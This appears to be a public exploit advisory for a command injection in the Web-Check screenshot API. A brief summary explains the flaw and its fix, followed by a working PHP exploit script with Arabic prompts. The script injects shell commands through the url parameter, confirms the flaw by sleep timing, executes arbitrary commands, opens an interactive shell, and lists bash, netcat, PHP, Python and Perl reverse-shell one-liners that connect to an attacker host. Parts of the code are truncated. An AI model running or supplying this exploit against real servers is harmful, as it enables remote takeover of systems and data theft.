============================================================================================================================================= | # Title : Web‑Check v1 Screenshot API Command Injection via Unsanitized URL Parameter | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://github.com/Lissy93/web-check | ============================================================================================================================================= [+] References : [+] Summary : A command injection vulnerability was identified in the Web‑Check application’s /api/screenshot endpoint. The issue stems from the backend function that spawns a Chromium screenshot process using child_process.exec() with user‑controlled input passed via the url query parameter. Because the input was not properly sanitized, an attacker could inject shell metacharacters, leading to arbitrary command execution in the context of the Web‑Check service. The vulnerability can be reliably detected using a timing‑based technique (e.g., observing abnormal response delays), without requiring command output. The issue was resolved by replacing exec() with execFile() and by tightening input handling. Affected deployments should update to a patched version immediately, restrict exposure of the screenshot API, and apply strict allow‑listing and sandboxing for any external process execution. [+] PoC : php poc.php vulnerable.com 3000 / --shell php poc.php 192.168.1.100 3000 / --reverse 192.168.1.10 4444 target = $target; $this->port = $port; $this->basePath = rtrim($basePath, '/'); } private function httpRequest($url, $command = null) { if ($command) { $param = $this->generateRandomString(rand(4, 10)); $injectionUrl = "http://example.com?{$param}=\";{$command};echo\""; } else { $injectionUrl = "http://example.com"; } $encodedUrl = urlencode($injectionUrl); $apiUrl = "http://{$this->target}:{$this->port}{$this->basePath}/api/screenshot?url=" . $encodedUrl; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $apiUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout); curl_setopt($ch, CURLOPT_HEADER, true); $response = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); $totalTime = curl_getinfo($ch, CURLINFO_TOTAL_TIME); curl_close($ch); return [ 'code' => $httpCode, 'time' => $totalTime, 'response' => $response ]; } private function generateRandomString($length = 10) { $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'; $randomString = ''; for ($i = 0; $i < $length; $i++) { $randomString .= $characters[rand(0, strlen($characters) - 1)]; } return $randomString; } private function microtimeFloat() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } public function check() { echo "[*] التحقق من وجود الثغرة في {$this->target}:{$this->port}\n"; echo "[*] إرسال طلب اختبار أساسي...\n"; $start = $this->microtimeFloat(); $baseline = $this->httpRequest(null); $baselineTime = $this->microtimeFloat() - $start; if ($baseline['code'] == 404) { echo "[-] نقطة النهاية /api/screenshot غير موجودة\n"; return false; } if ($baseline['code'] == 0 || $baseline['code'] >= 500) { echo "[-] الخادم غير متجاوب\n"; return false; } echo "[+] نقطة النهاية موجودة (HTTP {$baseline['code']})\n"; echo "[+] زمن الاستجابة الأساسي: " . number_format($baselineTime, 2) . " ثانية\n"; echo "\n[*] اختبار حقن الأوامر عبر تقنية sleep...\n"; $sleepTests = [1, 2]; $results = []; foreach ($sleepTests as $sleepTime) { echo "[*] اختبار sleep لمدة {$sleepTime} ثانية...\n"; $start = $this->microtimeFloat(); $result = $this->httpRequest("sleep {$sleepTime}"); $elapsed = $this->microtimeFloat() - $start; echo " - الوقت المستغرق: " . number_format($elapsed, 2) . " ثانية\n"; if ($elapsed >= $sleepTime * 0.8) { $results[] = true; echo " [+] الاختبار ناجح: تم تنفيذ sleep بنجاح\n"; } else { $results[] = false; echo " [-] الاختبار فاشل: لم يتم تنفيذ sleep\n"; } } $successCount = count(array_filter($results)); if ($successCount >= 1) { echo "\n[+] الثغرة موجودة! تم تأكيد حقن الأوامر\n"; return true; } else { echo "\n[-] لم يتم تأكيد وجود الثغرة\n"; return false; } } public function execute($command) { echo "[*] محاولة تنفيذ الأمر: {$command}\n"; $commandWithOutput = $command . "; echo 'COMMAND_EXECUTED'"; $result = $this->httpRequest($commandWithOutput); if (strpos($result['response'], 'COMMAND_EXECUTED') !== false) { echo "[+] الأمر تم تنفيذه بنجاح!\n"; $body = substr($result['response'], strpos($result['response'], "\r\n\r\n") + 4); echo "[+] جزء من الاستجابة:\n" . substr($body, 0, 500) . "\n"; return true; } else { echo "[-] فشل تنفيذ الأمر\n"; return false; } } public function testReverseShell($lhost, $lport) { echo "[*] اختبار reverse shell إلى {$lhost}:{$lport}\n"; // أمثلة على أوامر reverse shell $commands = [ 'linux' => [ 'bash' => "bash -c 'bash -i >& /dev/tcp/{$lhost}/{$lport} 0>&1'", 'nc' => "nc -e /bin/sh {$lhost} {$lport}", 'php' => "php -r '\$sock=fsockopen(\"{$lhost}\",{$lport});exec(\"/bin/sh -i <&3 >&3 2>&3\");'", ], 'unix' => [ 'python' => "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$lhost}\",{$lport}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", 'perl' => "perl -e 'use Socket;\$i=\"{$lhost}\";\$p={$lport};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'", ] ]; echo "[*] أوامر reverse shell المتاحة:\n"; foreach ($commands as $os => $cmds) { echo " {$os}:\n"; foreach ($cmds as $name => $cmd) { echo " - {$name}: {$cmd}\n"; } } $testCmd = "echo 'Reverse Shell Test' > /tmp/test.txt"; if ($this->execute($testCmd)) { echo "[+] يمكن استخدام الثغرة لتنفيذ reverse shell\n"; echo "[!] قم بتشغيل listener على {$lhost}:{$lport} ثم نفذ أحد الأوامر أعلاه\n"; } } public function getShell() { echo "[*] إنشاء shell تفاعلي بسيط\n"; echo "[*] اكتب 'exit' للخروج أو 'help' للمساعدة\n"; while (true) { echo "cmd> "; $command = trim(fgets(STDIN)); if ($command === 'exit' || $command === 'quit') { break; } if ($command === 'help') { echo "أوامر متاحة:\n"; echo " whoami - عرض المستخدم الحالي\n"; echo " id - عرض معلومات الهوية\n"; echo " pwd - عرض المسار الحالي\n"; echo " ls [dir] - عرض محتويات الدليل\n"; echo " cat [file]- عرض محتويات الملف\n"; echo " exit - الخروج\n"; continue; } $result = $this->httpRequest($command . "; echo '###END###'"); $response = $result['response']; $headerEnd = strpos($response, "\r\n\r\n"); if ($headerEnd !== false) { $body = substr($response, $headerEnd + 4); $output = strstr($body, '###END###', true); if ($output) { echo trim($output) . "\n"; } else { echo "[?] لا يوجد ناتج واضح\n"; } } } } } if (php_sapi_name() === 'cli') { echo "=============================================\n"; echo " Web-Check Screenshot API RCE Exploit\n"; echo " CVE-2025-32778 PoC by indoushka\n"; echo "=============================================\n\n"; if ($argc < 2) { echo "استخدام:\n"; echo " php " . basename(__FILE__) . " <الخادم> [البورت] [المسار]\n\n"; echo "أمثلة:\n"; echo " php exploit.php 192.168.1.100 3000 /\n"; echo " php exploit.php vulnerable.com 3000 /web-check\n\n"; echo "وظائف إضافية:\n"; echo " --check : التحقق من وجود الثغرة فقط\n"; echo " --cmd \"أمر\" : تنفيذ أمر واحد\n"; echo " --shell : فتح shell تفاعلي\n"; echo " --reverse LHOST LPORT : اختبار reverse shell\n"; exit(1); } $target = $argv[1]; $port = isset($argv[2]) ? $argv[2] : 3000; $path = isset($argv[3]) ? $argv[3] : '/'; $exploit = new WebCheckExploit($target, $port, $path); if (in_array('--check', $argv)) { $exploit->check(); } elseif ($cmdIndex = array_search('--cmd', $argv)) { if (isset($argv[$cmdIndex + 1])) { $command = $argv[$cmdIndex + 1]; $exploit->check(); $exploit->execute($command); } else { echo "[-] يرجى تحديد الأمر بعد --cmd\n"; } } elseif (in_array('--shell', $argv)) { if ($exploit->check()) { $exploit->getShell(); } } elseif ($reverseIndex = array_search('--reverse', $argv)) { if (isset($argv[$reverseIndex + 2])) { $lhost = $argv[$reverseIndex + 1]; $lport = $argv[$reverseIndex + 2]; if ($exploit->check()) { $exploit->testReverseShell($lhost, $lport); } } else { echo "[-] يرجى تحديد LHOST وLPORT بعد --reverse\n"; } } else { $exploit->check(); echo "\n[*] أمثلة للاستخدام:\n"; echo " تنفيذ أمر: php exploit.php {$target} {$port} {$path} --cmd \"whoami\"\n"; echo " shell تفاعلي: php exploit.php {$target} {$port} {$path} --shell\n"; echo " اختبار reverse shell: php exploit.php {$target} {$port} {$path} --reverse 192.168.1.10 4444\n"; } } else { echo '
Result: ' . $result . '
'; } elseif ($_POST['action'] === 'execute') { echo '